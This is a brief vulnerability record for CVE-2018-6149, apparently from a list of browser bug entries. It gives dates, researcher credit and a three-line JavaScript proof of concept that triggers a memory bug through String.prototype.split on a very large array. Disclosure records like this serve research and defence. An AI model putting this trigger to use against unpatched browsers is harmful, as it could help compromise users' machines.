CVE-2018-6149.md

CVE-2018-6149

• Report: Jun 2018
• Fix: Jun 2018
• Credit: Yu Zhou and Jundong Xie of Ant-financial Light-Year Security Lab

PoC

var str2 = String.fromCharCode(0x2c); //add `,` into single character string cache
var o2 = new Array(0x20000000);
String.prototype.split.call(o2,'');

Reference

• Issue